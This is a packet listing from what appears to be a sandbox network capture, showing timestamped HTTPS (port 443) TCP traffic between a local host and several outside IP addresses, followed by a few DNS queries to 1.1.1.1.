Jun 20, 2024 13:55:10.696116924 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.696151972 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.696233034 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.696296930 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.696923018 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.696940899 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.696957111 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.696964979 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:13.013111115 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:13.013262033 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:13.013344049 CEST	49791	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:13.071158886 CEST	49791	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:13.071238995 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:19.577415943 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:19.577573061 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:19.577651978 CEST	49793	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:21.081147909 CEST	49793	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:21.081182003 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:23.663960934 CEST	49806	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:23.664009094 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:23.664124966 CEST	49806	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:23.664323092 CEST	49806	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:23.664339066 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:24.302330971 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:24.302772045 CEST	49806	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:24.302839994 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:24.303314924 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:24.303734064 CEST	49806	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:24.303824902 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:24.350939989 CEST	49806	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:31.755084038 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:31.755177975 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:31.755289078 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:31.755736113 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:31.755790949 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:31.763348103 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:31.763436079 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:31.763575077 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:31.763807058 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:31.763842106 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.216628075 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.217036963 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.217097044 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.218219042 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.218555927 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.218681097 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.218743086 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.230966091 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.231185913 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.231251955 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.234906912 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.235002995 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.235243082 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.235320091 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.235332966 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.235424995 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.264872074 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.281018019 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.281039000 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.329020977 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.343825102 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.344000101 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.344100952 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.344204903 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.344249964 CEST	443	49810	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.344300985 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.344324112 CEST	49810	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.344839096 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.344881058 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.344973087 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.345199108 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.345220089 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.358825922 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.358997107 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.359039068 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.359067917 CEST	443	49811	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.359098911 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.359184980 CEST	49811	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.359505892 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.359548092 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.359632015 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.359821081 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.359848976 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.825694084 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.825994968 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.826045036 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.827162027 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.827480078 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.827596903 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.827636957 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.827665091 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.842139959 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.842503071 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.842551947 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.843065023 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.843349934 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.843429089 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.843442917 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.843461990 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.872929096 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.889091969 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.953666925 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.953994036 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.954060078 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.954101086 CEST	443	49812	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.954127073 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.954247952 CEST	49812	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.974514961 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.974678993 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.974703074 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.974734068 CEST	443	49813	35.190.80.1	192.168.2.16
Jun 20, 2024 13:55:32.974757910 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:32.974786997 CEST	49813	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:55:34.207957029 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:34.208122015 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:34.208200932 CEST	49806	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:35.080440998 CEST	49806	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:35.080534935 CEST	443	49806	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:40.482095003 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:40.482131958 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:40.482218027 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:40.482620955 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:40.482633114 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:40.962479115 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:40.963010073 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:40.963031054 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:40.963470936 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:40.963980913 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:40.964061022 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:40.964082003 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.004508972 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.015953064 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.163484097 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.163682938 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.163753986 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.164129019 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.164141893 CEST	443	49818	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.164153099 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.164197922 CEST	49818	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.166131973 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.166173935 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.166311026 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.166649103 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.166667938 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.670357943 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.670798063 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.670816898 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.671914101 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.672274113 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.672425032 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.672437906 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.712498903 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.714975119 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.848875046 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.849056005 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.849147081 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.849829912 CEST	49819	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.849853039 CEST	443	49819	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.853156090 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:41.853185892 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:41.853252888 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:41.854020119 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.854029894 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.854218006 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.854471922 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:41.854489088 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:41.854715109 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.854733944 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.855317116 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.855345964 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.855401993 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.856611967 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.856654882 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.856712103 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.857287884 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.857302904 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:41.858068943 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:41.858084917 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.322590113 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.322932005 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.322952032 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.323317051 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.324506998 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.324506998 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.324575901 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.330480099 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.330672026 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.330693960 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.331747055 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.332010031 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.332093000 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.332094908 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.340878010 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:42.341142893 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:42.341154099 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:42.342158079 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:42.342724085 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:42.342724085 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:42.342813015 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:42.356848955 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.357075930 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.357090950 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.357423067 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.357836962 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.357913017 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.357975960 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.369483948 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.376528025 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.385003090 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:42.385061979 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.401022911 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.401031971 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.471988916 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.472034931 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.472176075 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.472517014 CEST	49822	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.472548962 CEST	443	49822	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.473222971 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:42.473373890 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:42.473501921 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.473509073 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:42.473603964 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.473704100 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.474596024 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.474631071 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.474983931 CEST	49821	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:42.474992037 CEST	443	49821	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:42.490964890 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.491110086 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.491199970 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.491390944 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.491390944 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.491437912 CEST	443	49824	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.491504908 CEST	49824	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.492161989 CEST	49826	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.492187977 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.492279053 CEST	49826	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.492522955 CEST	49826	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.492547989 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.511534929 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.511646032 CEST	443	49823	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.511719942 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.511720896 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.511745930 CEST	49823	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.939851999 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.940149069 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.940202951 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.941468954 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.941761017 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.941863060 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.941907883 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.975984097 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.976315022 CEST	49826	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.976341009 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.977458954 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.977853060 CEST	49826	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.978029013 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.978122950 CEST	49826	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:42.984527111 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:42.990915060 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:43.020526886 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:43.088900089 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:43.089131117 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:43.089339018 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:43.090780020 CEST	49825	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:43.090815067 CEST	443	49825	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:43.095194101 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.095283031 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.095395088 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.095576048 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.095613003 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.571156979 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.571495056 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.571515083 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.572078943 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.572549105 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.572639942 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.572676897 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.620507956 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.626909971 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.761250019 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.761404991 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.761584044 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.762130976 CEST	49827	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.762152910 CEST	443	49827	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.763628960 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:43.763786077 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:43.763865948 CEST	49826	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:43.764142036 CEST	49826	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:43.764178038 CEST	443	49826	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:43.774261951 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.774303913 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:43.774405956 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.774632931 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:43.774663925 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:44.240271091 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:44.240603924 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:44.240665913 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:44.241832972 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:44.242232084 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:44.242403984 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:44.242409945 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:44.284512043 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:44.294434071 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:44.398932934 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:44.399142027 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:44.399224997 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:44.400108099 CEST	49828	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:55:44.400149107 CEST	443	49828	172.67.196.150	192.168.2.16
Jun 20, 2024 13:56:23.726177931 CEST	49848	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:56:23.726268053 CEST	443	49848	142.250.186.100	192.168.2.16
Jun 20, 2024 13:56:23.726353884 CEST	49848	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:56:23.726660013 CEST	49848	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:56:23.726692915 CEST	443	49848	142.250.186.100	192.168.2.16
Jun 20, 2024 13:56:24.369751930 CEST	443	49848	142.250.186.100	192.168.2.16
Jun 20, 2024 13:56:24.370096922 CEST	49848	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:56:24.370177984 CEST	443	49848	142.250.186.100	192.168.2.16
Jun 20, 2024 13:56:24.371640921 CEST	443	49848	142.250.186.100	192.168.2.16
Jun 20, 2024 13:56:24.372044086 CEST	49848	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:56:24.372145891 CEST	443	49848	142.250.186.100	192.168.2.16
Jun 20, 2024 13:56:24.424983978 CEST	49848	443	192.168.2.16	142.250.186.100

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 20, 2024 13:54:18.816171885 CEST	53	64447	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:18.857734919 CEST	53	63684	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:18.903815031 CEST	59209	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:18.903976917 CEST	63409	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:18.904822111 CEST	50363	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:18.904970884 CEST	63557	53	192.168.2.16	1.1.1.1
Jun 20, 2024 13:54:18.916719913 CEST	53	63409	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:18.920814991 CEST	53	63557	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:18.924308062 CEST	53	50363	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:18.927953959 CEST	53	59209	1.1.1.1	192.168.2.16
Jun 20, 2024 13:54:19.815181017 CEST	53	51638	1.1.1.1	192.168.2.16
